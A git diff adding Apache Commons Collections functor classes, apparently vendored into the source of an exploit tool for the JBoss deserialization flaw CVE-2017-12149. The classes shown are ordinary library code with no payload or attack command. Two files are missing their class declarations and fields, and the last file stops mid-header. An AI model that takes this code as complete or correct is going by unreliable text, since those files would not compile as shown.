diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantFactory.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantFactory.java"
new file mode 100644
index 0000000..8396b82
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantFactory.java"
@@ -0,0 +1,88 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Factory;
+
+/**
+ * Factory implementation that returns the same constant each time.
+ * constant
factory.
+ */
+ public static Factory getInstance(Object constantToReturn) {
+ if (constantToReturn == null) {
+ return NULL_INSTANCE;
+ }
+ return new ConstantFactory(constantToReturn);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param constantToReturn the constant to return each time
+ */
+ public ConstantFactory(Object constantToReturn) {
+ super();
+ iConstant = constantToReturn;
+ }
+
+ /**
+ * Always return constant.
+ *
+ * @return the stored constant value
+ */
+ public Object create() {
+ return iConstant;
+ }
+
+ /**
+ * Gets the constant.
+ *
+ * @return the constant
+ * @since Commons Collections 3.1
+ */
+ public Object getConstant() {
+ return iConstant;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantTransformer.java"
new file mode 100644
index 0000000..fcb3dc7
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ConstantTransformer.java"
@@ -0,0 +1,89 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that returns the same constant each time.
+ * constant
factory.
+ */
+ public static Transformer getInstance(Object constantToReturn) {
+ if (constantToReturn == null) {
+ return NULL_INSTANCE;
+ }
+ return new ConstantTransformer(constantToReturn);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param constantToReturn the constant to return each time
+ */
+ public ConstantTransformer(Object constantToReturn) {
+ super();
+ iConstant = constantToReturn;
+ }
+
+ /**
+ * Transforms the input by ignoring it and returning the stored constant instead.
+ *
+ * @param input the input object which is ignored
+ * @return the stored constant
+ */
+ public Object transform(Object input) {
+ return iConstant;
+ }
+
+ /**
+ * Gets the constant.
+ *
+ * @return the constant
+ * @since Commons Collections 3.1
+ */
+ public Object getConstant() {
+ return iConstant;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/EqualPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/EqualPredicate.java"
new file mode 100644
index 0000000..9ce875b
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/EqualPredicate.java"
@@ -0,0 +1,84 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if the input is the same object
+ * as the one stored in this predicate by equals.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:16:01 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class EqualPredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 5633766978029907089L;
+
+ /** The value to compare to */
+ private final Object iValue;
+
+ /**
+ * Factory to create the identity predicate.
+ *
+ * @param object the object to compare to
+ * @return the predicate
+ * @throws IllegalArgumentException if the predicate is null
+ */
+ public static Predicate getInstance(Object object) {
+ if (object == null) {
+ return NullPredicate.INSTANCE;
+ }
+ return new EqualPredicate(object);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param object the object to compare to
+ */
+ public EqualPredicate(Object object) {
+ super();
+ iValue = object;
+ }
+
+ /**
+ * Evaluates the predicate returning true if the input equals the stored value.
+ *
+ * @param object the input object
+ * @return true if input object equals stored value
+ */
+ public boolean evaluate(Object object) {
+ return (iValue.equals(object));
+ }
+
+ /**
+ * Gets the value.
+ *
+ * @return the value
+ * @since Commons Collections 3.1
+ */
+ public Object getValue() {
+ return iValue;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionClosure.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionClosure.java"
new file mode 100644
index 0000000..3098f61
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionClosure.java"
@@ -0,0 +1,67 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Closure;
+import org.apache.commons.collections.FunctorException;
+
+/**
+ * Closure implementation that always throws an exception.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class ExceptionClosure implements Closure, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 7179106032121985545L;
+
+
+ /** Singleton predicate instance */
+ public static final Closure INSTANCE = new ExceptionClosure();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Closure getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Restricted constructor.
+ */
+ private ExceptionClosure() {
+ super();
+ }
+
+ /**
+ * Always throw an exception.
+ *
+ * @param input the input object
+ * @throws FunctorException always
+ */
+ public void execute(Object input) {
+ throw new FunctorException("ExceptionClosure invoked");
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionFactory.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionFactory.java"
new file mode 100644
index 0000000..5304c52
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionFactory.java"
@@ -0,0 +1,67 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Factory;
+import org.apache.commons.collections.FunctorException;
+
+/**
+ * Factory implementation that always throws an exception.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class ExceptionFactory implements Factory, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 7179106032121985545L;
+
+
+ /** Singleton predicate instance */
+ public static final Factory INSTANCE = new ExceptionFactory();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Factory getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Restricted constructor.
+ */
+ private ExceptionFactory() {
+ super();
+ }
+
+ /**
+ * Always throws an exception.
+ *
+ * @return never
+ * @throws FunctorException always
+ */
+ public Object create() {
+ throw new FunctorException("ExceptionFactory invoked");
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionPredicate.java"
new file mode 100644
index 0000000..e4bb2a7
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionPredicate.java"
@@ -0,0 +1,67 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.FunctorException;
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that always throws an exception.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/16 11:16:01 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class ExceptionPredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 7179106032121985545L;
+
+ /** Singleton predicate instance */
+ public static final Predicate INSTANCE = new ExceptionPredicate();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Predicate getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Restricted constructor.
+ */
+ private ExceptionPredicate() {
+ super();
+ }
+
+ /**
+ * Evaluates the predicate always throwing an exception.
+ *
+ * @param object the input object
+ * @return never
+ * @throws FunctorException always
+ */
+ public boolean evaluate(Object object) {
+ throw new FunctorException("ExceptionPredicate invoked");
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionTransformer.java"
new file mode 100644
index 0000000..e6a0e16
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ExceptionTransformer.java"
@@ -0,0 +1,68 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.FunctorException;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that always throws an exception.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class ExceptionTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 7179106032121985545L;
+
+
+ /** Singleton predicate instance */
+ public static final Transformer INSTANCE = new ExceptionTransformer();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Transformer getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Restricted constructor.
+ */
+ private ExceptionTransformer() {
+ super();
+ }
+
+ /**
+ * Transforms the input to result by cloning it.
+ *
+ * @param input the input object to transform
+ * @return never
+ * @throws FunctorException always
+ */
+ public Object transform(Object input) {
+ throw new FunctorException("ExceptionTransformer invoked");
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FactoryTransformer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FactoryTransformer.java"
new file mode 100644
index 0000000..79a2ece
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FactoryTransformer.java"
@@ -0,0 +1,85 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Factory;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Transformer implementation that calls a Factory and returns the result.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:36:31 $
+ *
+ * @author Stephen Colebourne
+ */
+public class FactoryTransformer implements Transformer, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -6817674502475353160L;
+
+ /** The factory to wrap */
+ private final Factory iFactory;
+
+ /**
+ * Factory method that performs validation.
+ *
+ * @param factory the factory to call, not null
+ * @return the factory
transformer
+ * @throws IllegalArgumentException if the factory is null
+ */
+ public static Transformer getInstance(Factory factory) {
+ if (factory == null) {
+ throw new IllegalArgumentException("Factory must not be null");
+ }
+ return new FactoryTransformer(factory);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param factory the factory to call, not null
+ */
+ public FactoryTransformer(Factory factory) {
+ super();
+ iFactory = factory;
+ }
+
+ /**
+ * Transforms the input by ignoring the input and returning the result of
+ * calling the decorated factory.
+ *
+ * @param input the input object to transform
+ * @return the transformed result
+ */
+ public Object transform(Object input) {
+ return iFactory.create();
+ }
+
+ /**
+ * Gets the factory.
+ *
+ * @return the factory
+ * @since Commons Collections 3.1
+ */
+ public Factory getFactory() {
+ return iFactory;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FalsePredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FalsePredicate.java"
new file mode 100644
index 0000000..0f827e5
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FalsePredicate.java"
@@ -0,0 +1,65 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that always returns false.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/05/16 11:16:01 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class FalsePredicate implements Predicate, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = 7533784454832764388L;
+
+ /** Singleton predicate instance */
+ public static final Predicate INSTANCE = new FalsePredicate();
+
+ /**
+ * Factory returning the singleton instance.
+ *
+ * @return the singleton instance
+ * @since Commons Collections 3.1
+ */
+ public static Predicate getInstance() {
+ return INSTANCE;
+ }
+
+ /**
+ * Restricted constructor.
+ */
+ private FalsePredicate() {
+ super();
+ }
+
+ /**
+ * Evaluates the predicate returning false always.
+ *
+ * @param object the input object
+ * @return false always
+ */
+ public boolean evaluate(Object object) {
+ return false;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ForClosure.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ForClosure.java"
new file mode 100644
index 0000000..43e8468
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/ForClosure.java"
@@ -0,0 +1,104 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Closure;
+
+/**
+ * Closure implementation that calls another closure n times, like a for loop.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+public class ForClosure implements Closure, Serializable {
+
+ /** Serial version UID */
+ static final long serialVersionUID = -1190120533393621674L;
+
+ /** The number of times to loop */
+ private final int iCount;
+ /** The closure to call */
+ private final Closure iClosure;
+
+ /**
+ * Factory method that performs validation.
+ * NOPClosure
.
+ * A count of one returns the specified closure.
+ *
+ * @param count the number of times to execute the closure
+ * @param closure the closure to execute, not null
+ * @return the for
closure
+ */
+ public static Closure getInstance(int count, Closure closure) {
+ if (count <= 0 || closure == null) {
+ return NOPClosure.INSTANCE;
+ }
+ if (count == 1) {
+ return closure;
+ }
+ return new ForClosure(count, closure);
+ }
+
+ /**
+ * Constructor that performs no validation.
+ * Use getInstance
if you want that.
+ *
+ * @param count the number of times to execute the closure
+ * @param closure the closure to execute, not null
+ */
+ public ForClosure(int count, Closure closure) {
+ super();
+ iCount = count;
+ iClosure = closure;
+ }
+
+ /**
+ * Executes the closure count
times.
+ *
+ * @param input the input object
+ */
+ public void execute(Object input) {
+ for (int i = 0; i < iCount; i++) {
+ iClosure.execute(input);
+ }
+ }
+
+ /**
+ * Gets the closure.
+ *
+ * @return the closure
+ * @since Commons Collections 3.1
+ */
+ public Closure getClosure() {
+ return iClosure;
+ }
+
+ /**
+ * Gets the count.
+ *
+ * @return the count
+ * @since Commons Collections 3.1
+ */
+ public int getCount() {
+ return iCount;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FunctorUtils.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FunctorUtils.java"
new file mode 100644
index 0000000..22f84f9
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/FunctorUtils.java"
@@ -0,0 +1,177 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.util.Collection;
+import java.util.Iterator;
+
+import org.apache.commons.collections.Closure;
+import org.apache.commons.collections.Predicate;
+import org.apache.commons.collections.Transformer;
+
+/**
+ * Internal utilities for functors.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/05/16 11:47:38 $
+ *
+ * @author Stephen Colebourne
+ */
+class FunctorUtils {
+
+ /**
+ * Restricted constructor.
+ */
+ private FunctorUtils() {
+ super();
+ }
+
+ /**
+ * Clone the predicates to ensure that the internal reference can't be messed with.
+ *
+ * @param predicates the predicates to copy
+ * @return the cloned predicates
+ */
+ static Predicate[] copy(Predicate[] predicates) {
+ if (predicates == null) {
+ return null;
+ }
+ return (Predicate[]) predicates.clone();
+ }
+
+ /**
+ * Validate the predicates to ensure that all is well.
+ *
+ * @param predicates the predicates to validate
+ */
+ static void validate(Predicate[] predicates) {
+ if (predicates == null) {
+ throw new IllegalArgumentException("The predicate array must not be null");
+ }
+ for (int i = 0; i < predicates.length; i++) {
+ if (predicates[i] == null) {
+ throw new IllegalArgumentException("The predicate array must not contain a null predicate, index " + i + " was null");
+ }
+ }
+ }
+
+ /**
+ * Validate the predicates to ensure that all is well.
+ *
+ * @param predicates the predicates to validate
+ */
+ static void validateMin2(Predicate[] predicates) {
+ if (predicates == null) {
+ throw new IllegalArgumentException("The predicate array must not be null");
+ }
+ if (predicates.length < 2) {
+ throw new IllegalArgumentException(
+ "At least 2 predicates must be specified in the predicate array, size was " + predicates.length);
+ }
+ for (int i = 0; i < predicates.length; i++) {
+ if (predicates[i] == null) {
+ throw new IllegalArgumentException("The predicate array must not contain a null predicate, index " + i + " was null");
+ }
+ }
+ }
+
+ /**
+ * Validate the predicates to ensure that all is well.
+ *
+ * @param predicates the predicates to validate
+ * @return predicate array
+ */
+ static Predicate[] validate(Collection predicates) {
+ if (predicates == null) {
+ throw new IllegalArgumentException("The predicate collection must not be null");
+ }
+ if (predicates.size() < 2) {
+ throw new IllegalArgumentException(
+ "At least 2 predicates must be specified in the predicate collection, size was " + predicates.size());
+ }
+ // convert to array like this to guarantee iterator() ordering
+ Predicate[] preds = new Predicate[predicates.size()];
+ int i = 0;
+ for (Iterator it = predicates.iterator(); it.hasNext();) {
+ preds[i] = (Predicate) it.next();
+ if (preds[i] == null) {
+ throw new IllegalArgumentException("The predicate collection must not contain a null predicate, index " + i + " was null");
+ }
+ i++;
+ }
+ return preds;
+ }
+
+ /**
+ * Clone the closures to ensure that the internal reference can't be messed with.
+ *
+ * @param closures the closures to copy
+ * @return the cloned closures
+ */
+ static Closure[] copy(Closure[] closures) {
+ if (closures == null) {
+ return null;
+ }
+ return (Closure[]) closures.clone();
+ }
+
+ /**
+ * Validate the closures to ensure that all is well.
+ *
+ * @param closures the closures to validate
+ */
+ static void validate(Closure[] closures) {
+ if (closures == null) {
+ throw new IllegalArgumentException("The closure array must not be null");
+ }
+ for (int i = 0; i < closures.length; i++) {
+ if (closures[i] == null) {
+ throw new IllegalArgumentException("The closure array must not contain a null closure, index " + i + " was null");
+ }
+ }
+ }
+
+ /**
+ * Copy method
+ *
+ * @param transformers the transformers to copy
+ * @return a clone of the transformers
+ */
+ static Transformer[] copy(Transformer[] transformers) {
+ if (transformers == null) {
+ return null;
+ }
+ return (Transformer[]) transformers.clone();
+ }
+
+ /**
+ * Validate method
+ *
+ * @param transformers the transformers to validate
+ */
+ static void validate(Transformer[] transformers) {
+ if (transformers == null) {
+ throw new IllegalArgumentException("The transformer array must not be null");
+ }
+ for (int i = 0; i < transformers.length; i++) {
+ if (transformers[i] == null) {
+ throw new IllegalArgumentException(
+ "The transformer array must not contain a null transformer, index " + i + " was null");
+ }
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IdentityPredicate.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IdentityPredicate.java"
new file mode 100644
index 0000000..5421d86
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/functors/IdentityPredicate.java"
@@ -0,0 +1,86 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.functors;
+
+import java.io.Serializable;
+
+import org.apache.commons.collections.Predicate;
+
+/**
+ * Predicate implementation that returns true if the input is the same object
+ * as the one stored in this predicate.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/16 11:16:01 $
+ *
+ * @author Stephen Colebourne
